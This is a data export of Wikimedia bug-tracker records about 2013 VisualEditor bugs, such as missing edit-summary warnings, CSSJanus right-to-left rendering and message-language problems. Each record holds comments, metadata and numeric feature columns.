49752,VisualEditor: No warning is shown when saving a page without an edit summary despite user preference,"No warning is shown when saving a page without an edit summary even when the ""Prompt me when entering a blank edit summary"" preference is enabled.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1367008860,1369092004.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-bltbr6dun3s6724ee3wt,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,4.0,9.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,6.0,6.0,2.0,4.0,0.0,0.0,0.0,4.1063829787234045,0.6595744680851063,"No warning is shown when saving a page without an edit summary even when the ""Prompt me when entering a blank edit summary"" preference is enabled.

--------------------------
**Version**: unspecified
**Severity**: normal"
207100,VisualEditor: No warning is shown when saving a page without an edit summary despite user preference,Merged and will go out with wmf5.,,,1369092004,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bltbr6dun3s6724ee3wt,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Merged and will go out with wmf5.
207095,VisualEditor: No warning is shown when saving a page without an edit summary despite user preference,Related URL: https://gerrit.wikimedia.org/r/64313 (Gerrit Change Idba707abaea8b08a94f7fa4d5bc5b1e35261a572),,,1368800999,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bltbr6dun3s6724ee3wt,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Idba707abaea8b08a94f7fa4d5bc5b1e35261a572)
49746,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),"When I edit an article in the English Wikipedia and hover over a template or an image, green diagonal stripes appear over it, meaning that it can't be edited.

These green stripes don't appear in the Hebrew Wikipedia.

See the URL for a demo.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://he.wikipedia.org/wiki/ASCII",Medium,50.0,1367005440,1367280339.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,16.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,5.0,0.0,0.0,0.0,4.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,3.607594936708861,0.569620253164557,"When I edit an article in the English Wikipedia and hover over a template or an image, green diagonal stripes appear over it, meaning that it can't be edited.

These green stripes don't appear in the Hebrew Wikipedia.

See the URL for a demo.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
232901,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),"**orbit** wrote:

Yep, CSSJanus indeed. I've added /*@noflip*/ to the phantoms container to ensure proper positioning.",,,1367280330,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8076923076923077,"**orbit** wrote:

Yep, CSSJanus indeed. I've added /*@noflip*/ to the phantoms container to ensure proper positioning."
232894,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),https://gerrit.wikimedia.org/r/61516 (Gerrit Change Id7662362d117d6c5719b9b98d7a0dbf62e9ba3ff) | change APPROVED and MERGED [by jenkins-bot],,,1367280189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change Id7662362d117d6c5719b9b98d7a0dbf62e9ba3ff) | change APPROVED and MERGED [by jenkins-bot]
232890,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),Related URL: https://gerrit.wikimedia.org/r/61516 (Gerrit Change Id7662362d117d6c5719b9b98d7a0dbf62e9ba3ff),,,1367280048,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Id7662362d117d6c5719b9b98d7a0dbf62e9ba3ff)
232886,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),"Indeed, works in debug mode.

It's just a wild guess for now, but it may have something to do with CSSJanus.",,,1367006685,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-10,,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2962962962962963,0.9259259259259259,"Indeed, works in debug mode.

It's just a wild guess for now, but it may have something to do with CSSJanus."
232882,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),It might be a cache issue - works just fine in debug mode - https://he.wikipedia.org/w/index.php?title=ASCII&debug=true,,,1367006326,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.9333333333333333,It might be a cache issue - works just fine in debug mode - URL
232877,VisualEditor: Aliens' phantoms don't appear in the Hebrew Wikipedia (cache/CSSJanus issue?),I'm able to reproduce at least in Chrome.,,,1367005802,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-qpmnlciz3b3w3vskmgmu,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,30.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.4,1.0,I'm able to reproduce at least in Chrome.
49745,VisualEditor: Moving the cursor using an arrow makes templates and footnote numbers disappear,"Steps:

1. Go to the URL.
2. Start editing the page using the VisualEditor.
3. Move the cursor using the keyboard arrow keys forward (right).

Observed:

When you get to the ""Done"" template and go on moving the cursor, the whole template disappears.

The same happens when you get to the reference number on the second line (""[1]"").

The cursor must probably skip over them and definitely not make them disappear.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/VisualEditor:Disappearing_template",Medium,50.0,1367005140,1367005458.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-gfh3zyqmntwzuisuy7o2,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.5,1.5,1.5,7.0,0.0,0.0,0.0,0.0,4.5,0.5,1.0,0.0,3.0,4.0,1.0,0.0,2.5,0.0,3.0,0.0,1.5,0.0,1.5,2.0,0.0,0.0,3.0,3.4444444444444446,0.6428571428571428,"Steps:

1. Go to the URL.
2. Start editing the page using the VisualEditor.
3. Move the cursor using the keyboard arrow keys forward (right).

Observed:

When you get to the ""Done"" template and go on moving the cursor, the whole template disappears.

The same happens when you get to the reference number on the second line (""[1]"").

The cursor must probably skip over them and definitely not make them disappear.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
232841,VisualEditor: Moving the cursor using an arrow makes templates and footnote numbers disappear,And actually the desired behavior is not skipping over - it is selecting it (so you can delete if you want) - give it a try in Chrome.,,,1367005498,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-gfh3zyqmntwzuisuy7o2,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,10.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,16.0,10.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.4516129032258065,0.8387096774193549,And actually the desired behavior is not skipping over - it is selecting it (so you can delete if you want) - give it a try in Chrome.
232837,VisualEditor: Moving the cursor using an arrow makes templates and footnote numbers disappear,I have a good reason to believe that this occurs only in Firefox and I just fixed it here: https://gerrit.wikimedia.org/r/#/c/61055/. If you get it in other browser then pelase reopen this bug.,,,1367005458,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-gfh3zyqmntwzuisuy7o2,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,6.0,0.0,12.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,15.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6176470588235294,0.8823529411764706,I have a good reason to believe that this occurs only in Firefox and I just fixed it here: URL If you get it in other browser then pelase reopen this bug.
49730,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Having users using different languages to post feedback on different pages on the same site makes it difficult to manage.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1366981200,1374012385.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-xdguppbr4wppxkti274y,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.435897435897436,0.6923076923076923,"Having users using different languages to post feedback on different pages on the same site makes it difficult to manage.

--------------------------
**Version**: unspecified
**Severity**: minor"
231966,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Change 74064 merged by jenkins-bot:
Remove 'visualeditor-feedback-link' from RL module

https://gerrit.wikimedia.org/r/74064",,,1374012412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.8636363636363636,"Change 74064 merged by jenkins-bot:
Remove 'visualeditor-feedback-link' from RL module

GERRIT_URL"
231957,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,Fixed. Sorry about this. Will be deployed this afternoon.,,,1374012385,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.75,Fixed. Sorry about this. Will be deployed this afternoon.
231949,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"Change 74064 had a related patch set uploaded by Krinkle:
Remove 'visualeditor-feedback-link' from RL module

https://gerrit.wikimedia.org/r/74064",,,1374010123,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.28,0.92,"Change 74064 had a related patch set uploaded by Krinkle:
Remove 'visualeditor-feedback-link' from RL module

GERRIT_URL"
231943,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #11)
> (In reply to comment #10)
> > pl.wiki is on 1.22wmf8 but my feedback was posted to a non-existing page with
> > Italian title (I have Italian UI), [[pl:Wikipedia:VisualEditor/Commenti]]:
> > https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
> > Commenti&oldid=36959657
> 
> Confirmed, this is also happening to me. Did the code get broken somehow?

Somewhere between https://gerrit.wikimedia.org/r/#/c/68216/ and its parent (I can't seem to find the commit that added it) the message was added in VisualEditor.php's resource module definition. Which caused the message from VisualEditorMessagesModule (in content-language) to be overridden at run time by the one from ResourceLoader for user language.",,,1374010028,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,5.0,2.0,19.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,4.0,15.0,10.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1625,0.6625,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Somewhere between URL and its parent (I can't seem to find the commit that added it) the message was added in VisualEditor.php's resource module definition. Which caused the message from VisualEditorMessagesModule (in content-language) to be overridden at run time by the one from ResourceLoader for user language."
231936,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"(In reply to comment #10)
> pl.wiki is on 1.22wmf8 but my feedback was posted to a non-existing page with
> Italian title (I have Italian UI), [[pl:Wikipedia:VisualEditor/Commenti]]:
> https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
> Commenti&oldid=36959657

Confirmed, this is also happening to me. Did the code get broken somehow?",,,1373852430,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,9.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.272727272727273,0.7878787878787878,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

Confirmed, this is also happening to me. Did the code get broken somehow?"
231928,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,"pl.wiki is on 1.22wmf8 but my feedback was posted to a non-existing page with Italian title (I have Italian UI), [[pl:Wikipedia:VisualEditor/Commenti]]: https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Commenti&oldid=36959657",,,1372603756,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.5526315789473686,0.868421052631579,"pl.wiki is on 1.22wmf8 but my feedback was posted to a non-existing page with Italian title (I have Italian UI), [[pl:Wikipedia:VisualEditor/Commenti]]: URL"
231924,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,Merged and will go out in wmf5.,,,1369088720,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged and will go out in wmf5.
231920,VisualEditor: Message <visualeditor-feedback-link> should be used in content language,*** Bug 48645 has been marked as a duplicate of this bug. ***,,,1369068249,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xdguppbr4wppxkti274y,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48645 has been marked as a duplicate of this bug. ***
